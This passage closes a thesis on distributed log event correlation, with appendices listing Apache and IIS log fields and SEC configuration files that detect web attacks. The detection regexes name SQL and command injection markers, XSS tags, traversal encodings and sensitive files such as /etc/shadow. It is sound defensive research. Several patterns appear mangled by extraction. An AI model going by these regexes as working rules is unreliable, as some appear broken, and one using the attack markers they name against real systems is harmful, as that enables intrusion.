### ***6.3 Conclusions of Research***

The goal of this research had two components, namely developing a distributed log event correlation methodology and quantifying the value provided by that methodology over a centralized alternative. That two-part goal is met when the chosen metrics for measuring the value of a methodology demonstrate that the distributed methodology does in fact outperform the centralized methodology.

The secondary goal of this research was to demonstrate additional advantages of a distributed approach which provide useful, if not quantifiable, value. This goal is met when a plausible implementation of the identified advantages is demonstrated and shown to provide the anticipated value.

The primary goal of this research was met in part by the measurement of network utilization, showing a best-case reduction in Syslog traffic of 99.88% between a raw-log only and synthetic-event only configuration. The goal was further met by the measurement of query efficiencies, showing that adding context to the database has a dramatic effect in reducing the time necessary to detect suspicious behavior by querying the database.

The secondary goal of the research was met through the implementation of several techniques which take advantage of the distributed architecture to add additional value. Those techniques were remote configuration, inclusion of multiple log sources and analysis of the differences between normalized and unnormalized databases. The remote configuration showed that distributed event correlation architectures can be easily managed remotely, making it much more practical at a larger scale. The inclusion of multiple log sources showed that the methodology can correlate sources with different formats and information, even combining information from multiple sources to detect behavior that is not evident in only one or the other. Lastly, the value of normalizing a database was shown through analysis that revealed that as the complexity of detection algorithms increase, the reduction in query time becomes even more pronounced. Therefore, this research effort successfully accomplished the objectives set out in Chapter 1.

## Appendix A. Web Server Logging Configuration

### A.1 Available Format Strings in Apache

Table A.1: Format strings available for use with LogFormat directive in `/etc/apache2/apache2.conf`

Available Format Strings in Apache	
Format String	Description
%%	The percent sign (often used as a delimiter in log files)
%a	Remote IP-address
%A	Local IP-address
%B	Size of response in bytes, excluding HTTP headers.
%b	Size of response in bytes, excluding HTTP headers. In CLF format, i.e. a '-' rather than a 0 when no bytes are sent.
%{Foobar}C	The contents of cookie Foobar in the request sent to the server.
%D	The time taken to serve the request, in microseconds.
%{FOOBAR}e	The contents of the environment variable FOOBAR
%f	Filename requested
%h	Remote host
%H	The request protocol
%{Foobar}i	The contents of Foobar: header line(s) in the request sent to the server. Changes made by other modules (e.g. mod_headers) affect this. Note that all recognizable headers are defined in RFC 4229.
%{Content-Type}i	The mime-type of the body of the request (used with POST and PUT requests)
Continued on Next Page...	

<i>Table A.1 – Continued</i>	
<b>Format String</b>	<b>Description</b>
<code>%{Referer}i</code>	This is the address of the previous web page from which a link to the currently requested page was followed.
<code>%{User-agent}i</code>	The user agent string of the user agent.
<code>%k</code>	Number of keepalive requests handled on this connection.
<code>%l</code>	Remote logname (from identd, if supplied). This will return a dash unless mod_ident is present and Identity-Check is set On.
<code>%m</code>	The request method
<code>%{Foobar}n</code>	The contents of note Foobar from another module.
<code>%{Foobar}o</code>	The contents of Foobar: header line(s) in the reply.
<code>%p</code>	The canonical port of the server serving the request
<code>%formatp</code>	The canonical port of the server serving the request or the server’s actual port or the client’s actual port. Valid formats are canonical, local, or remote.
<code>%P</code>	The process ID of the child that serviced the request.
<code>%formatP</code>	The process ID or thread id of the child that serviced the request. Valid formats are pid, tid, and hextid. hextid requires APR 1.2.0 or higher.
<code>%q</code>	The query string.
<code>%r</code>	First line of request
<code>%s</code>	Status. For requests that got internally redirected, this is the status of the *original* request — <code>%&gt;s</code> represents the last status. Status codes are defined in RFC 2616.
<code>%t</code>	Time the request was received (standard english format)
<i>Continued on Next Page...</i>	

<i>Table A.1 – Continued</i>	
<b>Format String</b>	<b>Description</b>
<code>%{format}t</code>	The time. Format should be in <code>strftime(3)</code> format. (potentially localized)
<code>%T</code>	The time taken to serve the request, in seconds.
<code>%u</code>	Remote user
<code>%U</code>	The URL path requested, not including any query string.
<code>%v</code>	The canonical <code>ServerName</code> of the server serving the request.
<code>%V</code>	The server name according to the <code>UseCanonicalName</code> setting.
<code>%X</code>	Connection status when response is completed: X = connection aborted before the response completed. + = connection may be kept alive after the response is sent - = connection will be closed after the response is sent.
<code>%I</code>	Bytes received, including request and headers. Module <code>mod_logio</code> required.
<code>%O</code>	Bytes sent, including headers. Module <code>mod_logio</code> required.

## A.2 IIS Configuration Dialogs




Figure A.1: IIS 6.0 Log Format Configuration [2]




Figure A.2: IIS 6.0 Log Element Selection Dialog [2]



### A.3 Available Log Elements in IIS

Table A.2: Selectable log elements available for use in IIS

Available Format Strings in Apache	
Format String	Description
Log Element	Description
date	The date on which the activity occurred.
time	The time, in coordinated universal time (UTC), at which the activity occurred.
c-ip	The IP address of the client that made the request.
cs-username	The name of the authenticated user who accessed your server. Anonymous users are indicated by a hyphen.
s-sitename	The Internet service name and instance number that was running on the client.
s-computername	The name of the server on which the log file entry was generated.
s-ip	The IP address of the server on which the log file entry was generated.
s-port	The server port number that is configured for the service.
cs-method	The requested action, for example, a GET method.
cs-uri-stem	The target of the action, for example, Default.htm.
cs-uri-query	The query, if any, that the client was trying to perform. A Universal Resource Identifier (URI) query is necessary only for dynamic pages.
sc-status	The HTTP status code.
sc-win32-status	The Windows status code.
Continued on Next Page...	

<i>Table A.2 – Continued</i>	
<b>Format String</b>	<b>Description</b>
sc-bytes	The number of bytes that the server sent.
cs-bytes	The number of bytes that the server received.
time-taken	The length of time that the action took, in milliseconds.
cs-version	The protocol version the client used.
cs-host	The host header name, if any.
cs(User-Agent)	The browser type that the client used.
cs(Cookie)	The content of the cookie sent or received, if any.
cs(Referrer)	The site that the user last visited. This site provided a link to the current site.
sc-substatus	The HTTP substatus error code.

## Appendix B. SEC Configuration Files

### B.1 Injection

Listing B.1: Linux version of injection.conf

```
#SQL Injection
#this configuration file detects sql injections in the query ...
    string
#Created: 20 July 2009 by JMM
#Modified: 11 March 2010 by JMM
#some of the Regular Expressions taken from SANS Whitepaper - "...
    Detecting Attacks on Web Applications from Log Files"

#look for quotes, the word 'or' or their ascii/hex equivalents
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s\[([.]*)\]\s.*\s.*\s([.]*)\s.*\s\".*?(((\\%27)|(\')))(\s...
    |\+|\%20)*((\\%6F)|o|(\%4F)|O)((\\%72)|r|(\%52)|R).*)\"
desc=$0
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "...
    Synthetic: " "$2|$1|$3|sql injection 1 detected: $4"

#send raw log if hybrid logging is enabled
type=Single
ptype=RegExp
pattern=(.*)\s\[([.]*)\]\s.*\s.*\s([.]*)\s.*\s\".*?(((\\%27)|(\')))(\s...
    |\+|\%20)*((\\%6F)|o|(\%4F)|O)((\\%72)|r|(\%52)|R).*)\"
desc=$0
context=[HYBRID_LOGGING]
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "Related...
    : " "$0"

#look for the equals sign followed by the single quote, the double...
    dash, the semicolon or their ascii/hex equivalents
type=Single
```

```

continue=TakeNext
ptype=RegExp
pattern=(.*)\s\[([.]*)\]\s.*\s.*\s([.]*\s.*\s\".*?(((\\%3D)|(=)))[^\n...
    ]*((\\%27)|(\'))|(\-\-\)|(\%3B)|(;))\s*)\"
desc=$0
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "...
    Synthetic: " "$2|$1|$3|sql injection 2 detected: $4"

#send raw log if hybrid logging is enabled
type=Single
ptype=RegExp
pattern=(.*)\s\[([.]*)\]\s.*\s.*\s([.]*\s.*\s\".*?(((\\%3D)|(=)))[^\n...
    ]*((\\%27)|(\'))|(\-\-\)|(\%3B)|(;))\s*)\"
desc=$0
context=[HYBRID_LOGGING]
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "Related...
    : " "$0"

#look for single quotes and some common SQL keywords
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s\[([.]*)\]\s.*\s.*\s([.]*\s.*\s\".*?(((\\%27)|(\')))[^\n...
    ]*((select|union|insert|delete|update|replace|truncate).*)\"
desc=$0
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "...
    Synthetic: " "$2|$1|$3|sql injection 3 detected: $4"

#send raw log if hybrid logging is enabled
type=Single
ptype=RegExp
pattern=(.*)\s\[([.]*)\]\s.*\s.*\s([.]*\s.*\s\".*?(((\\%27)|(\')))[^\n...
    ]*((select|union|insert|delete|update|replace|truncate).*)\"
desc=$0
context=[HYBRID_LOGGING]

```

```

action=shellcmd /home/user/sec-2.5.3/common/syslogclient "Related...
: " "$0"

#look for common elements of command injection techniques
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s\[([.]*)\]\s.*\s.*\s([.]*)\s.*\s\".*?((%00|system\(|eval...
\(|'|\\).*?)\"
desc=$0
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "...
Synthetic: " "$2|$1|$3|command injection detected: $4"

#send raw log if hybrid logging is enabled
type=Single
ptype=RegExp
pattern=(.*)\s\[([.]*)\]\s.*\s.*\s([.]*)\s.*\s\".*?((%00|system\(|eval...
\(|'|\\).*?)\"
desc=$0
context=[HYBRID_LOGGING]
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "Related...
: " "$0"

```

## Listing B.2: Windows version of injection.conf

```

#SQL Injection
#this configuration file detects sql injections in the query ...
string
#Created: 20 July 2009 by JMM
#Modified: 11 March 2010 by JMM
#some of the Regular Expressions taken from SANS Whitepaper - "...
Detecting Attacks on Web Applications from Log Files"

#look for quotes, the word 'or' or their ascii/hex equivalents
type=Single
continue=TakeNext

```



```

action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Related: $0"

#look for single quotes and some common SQL keywords
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s(.*)\s(.*)\s.*?(((\%27)|(\`)))[^\\n]*(select|union|...
    insert|delete|update|replace|truncate).*?)\s(.*)\s.*\s.*\s.*\s...
    .*
desc=$0
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Synthetic: $1 $2|$9|$3|sql injection 3 detected: $4"

#send raw log if hybrid logging is enabled
type=Single
ptype=RegExp
pattern=(.*)\s(.*)\s(.*)\s.*?(((\%27)|(\`)))[^\\n]*(select|union|...
    insert|delete|update|replace|truncate).*?)\s(.*)\s.*\s.*\s.*\s...
    .*
desc=$0
context=[HYBRID_LOGGING]
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Related: $0"

#look for common elements of command injection techniques
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s(.*)\s(.*)\s.*?((%00|system\(|eval\(|'|\\).*?)\s(.*)...
    \s.*\s.*\s.*\s.*
desc=$0
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Synthetic: $1 $2|$6|$3|command injection detected: $4"

```





```

desc=$0
context=[HYBRID_LOGGING]
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "Related...
: " "$0"

#look for look for javascript keywords
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s\[([.]*)\]\s.*\s.*\s.*\s.*\s\"(.*(javascript|vbscript|...
expression|applet|script|embed|object|iframe|frame|frameset).*)...
\"
desc=$0
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "...
Synthetic: " "$2|$1|xss detected with javascript tag: $3"

#send the raw log
type=Single
ptype=RegExp
pattern=(.*)\s\[([.]*)\]\s.*\s.*\s.*\s.*\s\"(.*(javascript|vbscript|...
expression|applet|script|embed|object|iframe|frame|frameset).*)...
\"
desc=$0
context=[HYBRID_LOGGING]
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "Related...
: " "$0"

#look for any HTML tag
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s\[([.]*)\]\s.*\s.*\s.*\s.*\s\".*(((\%3C)|<)[a-z0-9\=\s...
\%\%\/]+((\%3E)|>).*)\"
desc=$0

```

```

action=shellcmd /home/user/sec-2.5.3/common/syslogclient "...
    Synthetic: " "$2|$1|xss detected with html tag: $3"

#send the raw log
type=Single
ptype=RegExp
pattern=(.*)\s\[((.*)\]\s.*\s.*\s.*\s.*\s\".*(((\%3C)|<)[a-z0-9\=\s...
    \%\/]+((\%3E)|>).*)\"
desc=$0
context=[HYBRID_LOGGING]
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "Related...
: " "$0"

```

#### Listing B.4: Windows version of xss.conf

```

#Cross Site Scripting detection
#this configuration file detects cross site scripting attacks
#Created: 8 March 2010 by JMM
#Modified:
#some of the Regular Expressions taken from SANS Whitepaper - "...
    Detecting Attacks on Web Applications from Log Files"

#look for image tags
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s(.*)\s(.*)\s.*(((\%3C)|<)((\%69)|i|(\%49))((\%6D)|m...
    |(\%4D))((\%67)|g|(\%47))[^\\n]+((\%3E)|>).*)\s(.*)\s.*\s.*\s.*\...
    s.*
desc=$0
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Synthetic: $1 $2|$18|xss detected in image tag: $4"

#if there is a match and hybrid logging is turned on, send the raw...
    log
type=Single

```

```

ptype=RegExp
pattern=(.*)\s(.*)\s(.*)\s.*(((\%3C)|<)((\%69)|i|(\%49))((\%6D)|m...
    |(\%4D))((\%67)|g|(\%47))[\n]+((\%3E)|>).*)\s(.*)\s.*\s.*\s.*\...
    s.*
desc=$0
context=[HYBRID_LOGGING]
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Related: $0"

#look for look for javascript keywords
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s(.*)\s.*\s(.*(javascript|vbscript|expression|applet|...
    script|embed|object|iframe|frame|frameset).*)\s(.*)\s.*\s.*\s...
    .*\s.*
desc=$0
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Synthetic: $1 $2|$5|xss detected with javascript tag: $3"

#if there is a match and hybrid logging is turned on, send the raw...
    log
type=Single
ptype=RegExp
pattern=(.*)\s(.*)\s.*\s(.*(javascript|vbscript|expression|applet|...
    script|embed|object|iframe|frame|frameset).*)\s(.*)\s.*\s.*\s...
    .*\s.*
desc=$0
context=[HYBRID_LOGGING]
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Related: $0"

#look for any HTML tag
type=Single
continue=TakeNext

```

```

ptype=RegExp
pattern=(.*)\s(.*)\s.*\s(.*(\\%3C)|<)[a-z0-9\\=\s\\%\/]+((\\%3E)|>)...
    .*)\s(.*)\s.*\s.*\s.*\s.*
desc=$0
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Synthetic: $1 $2|$8|xss detected with html tag: $3"

#if there is a match and hybrid logging is turned on, send the raw...
    log
type=Single
ptype=RegExp
pattern=(.*)\s(.*)\s.*\s(.*(\\%3C)|<)[a-z0-9\\=\s\\%\/]+((\\%3E)|>)...
    .*)\s(.*)\s.*\s.*\s.*\s.*
desc=$0
context=[HYBRID_LOGGING]
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Related: $0"

```

### *B.3 Broken Authentication and Session Management*

Listing B.5: Linux version of session.conf

```

#Authentication and Session Management
#this configuration file detects authentication and session ...
    credentials in the query string
#Created: 8 March 2010 by JMM
#Modified: 11 March 2010
#some of the Regular Expressions taken from SANS Whitepaper - "...
    Detecting Attacks on Web Applications from Log Files"

#look for various login indicators
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s\[ (.*) \]\s.*\s.*\s(.?*login\.(jsp|asp|php|pl))\s.*\s...
    \("(?(user|userID|username|pass|password)=.*?)\"

```

```

desc=$0
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "...
    Synthetic: " "$2|$1|login credentials in query string: $3$5"

#if hybrid logging is enabled, send the raw log
type=Single
ptype=RegExp
pattern=(.*)\s\[([.])\]\s.*\s.*\s(?:login\.(jsp|asp|php|pl))\s.*\s...
    \("(\?(user|userID|username|pass|password)=.*?)\)\"
desc=$0
context=[HYBRID_LOGGING]
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "Related...
    : " "$0"

#look for session id indicators
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s\[([.])\]\s.*\s.*\s.*\s.*\s\".*?([;]?[j]?sessionid...
    =.*?)\"
desc=$0
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "...
    Synthetic: " "$2|$1|session id in query string: $3"

#if hybrid logging is enabled, send the raw log
type=Single
ptype=RegExp
pattern=(.*)\s\[([.])\]\s.*\s.*\s.*\s.*\s\".*?([;]?[j]?sessionid...
    =.*?)\"
desc=$0
context=[HYBRID_LOGGING]
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "Related...
    : " "$0"

```

Listing B.6: Windows version of session.conf

```
#Authentication and Session Management
#this configuration file detects authentication and session ...
    credentials in the query string
#Created: 8 March 2010 by JMM
#Modified: 11 March 2010
#some of the Regular Expressions taken from SANS Whitepaper - "...
    Detecting Attacks on Web Applications from Log Files"

#look for various login indicators
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s(.*)\s(.?*login\.(jsp|asp|php|pl))\s((user|userID|...
    username|pass|password)=.*?)\s(.*)\s.*\s.*\s.*\s.*
desc=$0
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Synthetic: $1 $2|$7|login credentials in query string: $3?$5"

#if there is a match and hybrid logging is turned on, send the raw...
    log
type=Single
ptype=RegExp
pattern=(.*)\s(.*)\s(.?*login\.(jsp|asp|php|pl))\s((user|userID|...
    username|pass|password)=.*?)\s(.*)\s.*\s.*\s.*\s.*
desc=$0
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Related: $0"

#look for session id indicators
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s(.*)\s.*\s.*?([;]?[j]?sessionid=.*?)\s(.*)\s.*\s.*\s...
    .*\s.*
```

```

desc=$0
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Synthetic: $1 $2|$4|session id in query string: $3"

#if there is a match and hybrid logging is turned on, send the raw...
    log
type=Single
ptype=RegExp
pattern=(.*)\s(.*)\s.*\s.*?([;]?[j]?sessionid=.*?)\s(.*)\s.*\s.*\s...
    .*\s.*
desc=$0
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Related: $0"

```

#### *B.4 Insecure Direct Object References*

Listing B.7: Linux version of traversal.conf

```

#Directory Traversal
#this configuration file detects directory traversal and ...
    references to suspicious objects
#Created: 5 March 2010 by JMM
#Modified:
#some of the Regular Expressions taken from SANS Whitepaper - "...
    Detecting Attacks on Web Applications from Log Files"

#look for various encodings of "../"
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s\[ (.*) \]\s.*\s.*\s.*((\.|(\%|\%25)2E)(\.|(\%|\%25)2E...
    )(\./|(\%|\%25)2F|\\|(\%|\%25)5C).*)?\s.*\s\".*\"
desc=$0
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "...
    Synthetic: " "$2|$1|directory traversal detected: $3"

```

```

#if hybrid logging is turned on, send the raw log also
type=Single
ptype=RegExp
pattern=(.*)\s\[([.])\]\s.*\s.*\s.*((\.|(\%|\%25)2E)(\.|(\%|\%25)2E...
    )(\.|(\%|\%25)2F|\\|(\%|\%25)5C).*?)\s.*\s\".*\"
desc=$0
context=[HYBRID_LOGGING]
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "Related...
    : " "$0"

#look for several suspicious filenames
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s\[([.])\]\s.*\s.*\s.*(\/etc\/shadow|\/etc\/passwd|cmd...
    \.exe.*?)\s.*\s\".*\"
desc=$0
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "...
    Synthetic: " "$2|$1|suspicious object reference: $3"

#if hybrid logging is turned on, send the raw log also
type=Single
ptype=RegExp
pattern=(.*)\s\[([.])\]\s.*\s.*\s.*(\/etc\/shadow|\/etc\/passwd|cmd...
    \.exe.*?)\s.*\s\".*\"
desc=$0
context=[HYBRID_LOGGING]
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "Related...
    : " "$0"

```

Listing B.8: Windows version of traversal.conf

```

#Directory Traversal
#this configuration file detects directory traversal and ...
    references to suspicious objects
#Created: 5 March 2010 by JMM

```



```

#Modified:

#some of the Regular Expressions taken from SANS Whitepaper - "...
    Detecting Attacks on Web Applications from Log Files"

#look for various encodings of "../"
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s(.*)\s.*((\.|(\%|\%25)2E)(\.|(\%|\%25)2E)...
    (\./|(\%|\%25)2F|\\|(\%|\%25)5C).*)?\s.*\s(.*)\s.*\s.*\s.*\s.*
desc=$0
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Synthetic: $1 $2|$11|directory traversal detected: $3"

#if there is a match and hybrid logging is turned on, send the raw...
    log
type=Single
ptype=RegExp
pattern=(.*)\s(.*)\s.*((\.|(\%|\%25)2E)(\.|(\%|\%25)2E)...
    (\./|(\%|\%25)2F|\\|(\%|\%25)5C).*)?\s.*\s(.*)\s.*\s.*\s.*\s.*
context=[HYBRID_LOGGING]
desc=$0
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Related: $0"

#look for several suspicious filenames
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s(.*)\s.*(\/etc\/shadow|\/etc\/passwd|cmd\.exe.*)?\s...
    .*\s(.*)\s.*\s.*\s.*\s.*
desc=$0
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Synthetic: $1 $2|$4|suspicious object reference: $3"

```

```

#if there is a match and hybrid logging is turned on, send the raw...
    log
type=Single
ptype=RegExp
pattern=(.*)\s(.*)\s.*(\/etc\/shadow|\/etc\/passwd|cmd\.exe.*?)\s...
    .*\s(.*)\s.*\s.*\s.*\s.*
context=[HYBRID_LOGGING]
desc=$0
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Related: $0"

```

## B.5 Cross Site Request Forgery

Listing B.9: Linux version of csrf.conf

```

#Cross Site Request Forgery
#this configuration file detects some CSRF attacks using the ...
    referer
#Created: 9 March 2010 by JMM
#Modified: 16 March 2010

#look for valid access to transferFunds.asp from bank.com and ...
    suppress it
type=Suppress
ptype=RegExp
pattern=.*\s\[.*\]\s.*\s.*\s[^\s]*transferFunds\.asp[^\s]*\swww\.
    bank\.com[^\s]*\s\".*\"
desc=$0

#if there is an access to transferFunds.asp from anywhere else, ...
    generate an alert
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s\[.*\]\s.*\s.*\s[^\s]*transferFunds\.asp[^\s]*\s...
    (.*)\s\".*\"

```

```

desc=$0
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "...
    Synthetic: " "$2|$1|CSRF attack on $3 detected from $4"

#if there is a match and hybrid logging is turned on, send the raw...
    log
type=Single
ptype=RegExp
pattern=(.*)\s\[([.]*)\]\s.*\s.*\s([^\s]*transferFunds\.asp[^\s]*)\s...
    ([.]*)\s\".*\"
context=[HYBRID_LOGGING]
desc=$0
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "Related...
: " "$0"

```

Listing B.10: Windows version of csrf.conf

```

#Cross Site Request Forgery
#this configuration file detects some CSRF attacks using the ...
    referer
#Created: 9 March 2010 by JMM
#Modified: 11 March 2010

#look for valid access to transferFunds.asp from bank.com and ...
    suppress it
type=Suppress
ptype=RegExp
pattern=.*\s.*\s([^\s]*transferFunds\.asp[^\s]*\s.*\s.*\swww\.bank...
    \.com[^\s]*\s.*\s.*\s.*
desc=$0

#if there is an access to transferFunds.asp from anywhere else, ...
    generate an alert
type=Single
continue=TakeNext
ptype=RegExp

```

```

pattern=(.*)\s(.*)\s([^\s]*transferFunds\.asp[^\s]*)\s.*\s(.*)\s...
    (.*)\s.*\s.*\s.*
desc=$0
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Synthetic: $1 $2|$4|CSRF attack on $3 detected from $5"

#if there is a match and hybrid logging is turned on, send the raw...
    log
type=Single
ptype=RegExp
pattern=(.*)\s(.*)\s([^\s]*transferFunds\.asp[^\s]*)\s.*\s(.*)\s...
    (.*)\s.*\s.*\s.*
context=[HYBRID_LOGGING]
desc=$0
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Related: $0"

```

## B.6 Failure to Restrict URL Access

Listing B.11: Linux version of urlaccess.conf

```

#Failure to Restrict URL Access
#this configuration file detects a specific case where an attacker...
    accesses a vulnerable page
#Created: 10 March 2010 by JMM
#Modified:

#look for valid access to addaccount.php through admin.php and ...
    suppress it
type=Suppress
ptype=RegExp
pattern=.*\s\[.*\]\s.*\s.*\s[^\s]*addaccount\.php[^\s]*\swww\....
    goodguy\.com\/admin\.php\s\".*\"
desc=$0

```

```

#if there is an access to addaccount from anywhere else, generate ...
    an alert
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s\[([.]*)\]\s.*\s.*\s([^\s]*addaccount\.php[^\s]*)\s([.]*)\...
    s\".*\"
desc=$0
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "...
    Synthetic: " "$2|$1|open URL $3 accessed from $4"

#if there is an access and hybrid logging is turned on, send the ...
    raw log also
type=Single
ptype=RegExp
pattern=(.*)\s\[([.]*)\]\s.*\s.*\s([^\s]*addaccount\.php[^\s]*)\s([.]*)\...
    s\".*\"
desc=$0
context=[HYBRID_LOGGING]
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "Related...
    : " "$0"

```

Listing B.12: Windows version of urlaccess.conf

```

#Failure to Restrict URL Access
#this configuration file detects a specific case where an attacker...
    accesses a vulnerable page
#Created: 10 March 2010 by JMM
#Modified:

#look for valid access to addaccount.php through admin.php and ...
    suppress it
type=Suppress
ptype=RegExp
pattern=.*\s.*\s[^\s]*addaccount\.php[^\s]*\s.*\s.*\swww\.goodguy\....
    com\/admin\.php\s.*\s.*\s.*

```

```

desc=$0

#if there is an access to addaccount from anywhere else, generate ...
    an alert
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s(.*)\s([\^s]*addaccount\.php[\^s]*)\s.*\s(.*)\s(.*)\s...
    .*\s.*\s.*
desc=$0
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Synthetic: $1 $2|$4|open URL $3 accessed from $5"

#if there is a match and hybrid logging is turned on, send the raw...
    log
type=Single
ptype=RegExp
pattern=(.*)\s(.*)\s([\^s]*addaccount\.php[\^s]*)\s.*\s(.*)\s(.*)\s...
    .*\s.*\s.*
desc=$0
context=[HYBRID_LOGGING]
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Related: $0"

```

## ***B.7 Unvalidated Redirects and Forwards***

Listing B.13: Linux version of redirects.conf

```

#Unvalidated Redirects and Forwards
#this configuration file detects redirects and forwards to ...
    unauthorized sites
#Created: 10 March 2010 by JMM
#Modified: 11 March 2010

type=Suppress
ptype=RegExp

```

```

pattern=(.*)\s\[([.]*)\]\s.*\s.*\s.*\s.*\s\"(\?url=(www\.)?goodguy....
    com.*)\"
desc=$0

#if there is an access to addaccount from anywhere else, generate ...
    an alert
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s\[([.]*)\]\s.*\s.*\s.*\s.*\s\"(\?url=.*)\\"
desc=$0
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "...
    Synthetic: " "$2|$1|bad redirect to $3"

#if there is an access and hybrid logging is enabled, send the raw...
    log as well
type=Single
ptype=RegExp
pattern=(.*)\s\[([.]*)\]\s.*\s.*\s.*\s.*\s\"(\?url=.*)\\"
desc=$0
context=[HYBRID_LOGGING]
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "Related...
    : " "$0"

```

Listing B.14: Windows version of redirects.conf

```

#Unvalidated Redirects and Forwards
#this configuration file detects redirects and forwards to ...
    unauthorized sites
#Created: 10 March 2010 by JMM
#Modified: 11 March 2010

type=Suppress
ptype=RegExp
pattern=.*\s.*\s.*\s(url=(www\.)?goodguy.com.*)\s.*\s.*\s.*\s.*\s...
    .*

```

```

desc=$0

#if there is an access to addaccount from anywhere else, generate ...
    an alert
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s(.*)\s.*\s(url=.)\s(.*)\s.*\s.*\s.*
desc=$0
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Synthetic: $1 $2|$4|bad redirect to $3"

#if there is an access to addaccount from anywhere else, generate ...
    an alert
type=Single
ptype=RegExp
pattern=(.*)\s(.*)\s.*\s(url=.)\s(.*)\s.*\s.*\s.*
desc=$0
context=[HYBRID_LOGGING]
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Related: $0"

```

## ***B.8 Insufficient Transport Layer Protection***

Listing B.15: Linux version of ssl.conf

```

#Insufficient Transport Layer Protection
#this configuration file detects an unencrypted access attempt
#Created: 11 March 2010 by JMM
#Modified:

#look for a bad cert error in error.log
type=Single
continue=TakeNext
ptype=RegExp
pattern=\[(.*)\]\s\[.*\]\sSSL Library Error:.*:tlsv1 alert (.)

```



```

desc=$0
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "...
    Synthetic: " "$1|unknown|SSL Library Error: $2"

#if hybrid logging is turned on, send the raw log also
type=Single
ptype=RegExp
pattern=\[(.*)\]\s\[.*\]\sSSL Library Error:.*:tlsv1 alert (.)
desc=$0
context=[HYBRID_LOGGING]
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "Related...
    : " "$0"

#look for SSL errors in access.log
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s\[.*\]\s.*\s.*\s(.*)\s.*\s\".*\"\s.*\s.*\s[^\-]\s...
    ([^\-])
desc=$0
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "...
    Synthetic: " "$2|$1|SSL error: $4 when accessing $3"

#if hybrid logging is turned on, send the raw log also
type=Single
ptype=RegExp
pattern=(.*)\s\[.*\]\s.*\s.*\s(.*)\s.*\s\".*\"\s.*\s.*\s[^\-]\s...
    ([^\-])
desc=$0
context=[HYBRID_LOGGING]
